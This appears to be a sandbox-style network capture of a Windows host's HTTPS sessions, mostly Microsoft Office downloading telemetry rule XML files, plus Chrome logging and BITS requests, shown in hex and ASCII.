Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:31 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075531Z-16547b76f7fht2hfhC1DFWbngg00000005ug00000000cxbd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:31 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075531Z-16547b76f7fmcv27hC1DFWgpcg00000004b0000000003wvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:31 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075531Z-16547b76f7ftfv4jhC1DFWuhug000000030g00000000eqx7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:31 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2697cdeb-f01e-003c-0c8d-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075531Z-164f84587bf7k72dhC1DFWvczs00000005h0000000006690 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49779	142.250.185.206	443	316	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:31 UTC	714	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 07:55:31 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 39 31 36 35 32 39 33 37 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731916529373",null,null,null,
2024-11-18 07:55:32 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=CpTAwVBi4WZ17HO94vz3LvLrRGmYuNaFirzmbbq7dRQt8O0Yd1EseiHCdmJCFYRZxbPOzyH6BA6X_r0PL10mYETlDhuTU128Y9cLsb6tyw77g6vEuy6DNxQCijsxQANDMg9TZsX_TQjwqh8E8MiYTMbSgBaGDaSj3fePlsAfodFn6CNsDtZ-l2s; expires=Tue, 20-May-2025 07:55:31 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 18 Nov 2024 07:55:31 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 18 Nov 2024 07:55:31 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-18 07:55:32 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-18 07:55:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49781	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:32 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 07:55:32 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=204592 Date: Mon, 18 Nov 2024 07:55:32 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:32 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:32 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075532Z-16547b76f7fqqjnnhC1DFWxv7400000003xg0000000001vc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:32 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:32 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:32 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:32 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 3ec875b9-801e-00ac-137b-37fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075532Z-164f84587bf6n6jwhC1DFW90fn00000004kg00000000fkfe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:32 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:32 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:32 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075532Z-16547b76f7f6nr89hC1DFWz7ug00000001tg00000000a3b7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:32 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:32 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:32 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075532Z-16547b76f7f7zzl8hC1DFWmtag00000004d0000000006mqc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:32 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:32 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a9097ed3-401e-0064-107c-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075532Z-164f84587bf6h2bxhC1DFWbcm800000005sg000000002b80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:32 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:33 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075533Z-16547b76f7ff9zf4hC1DFW2pfc000000035g000000002nqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
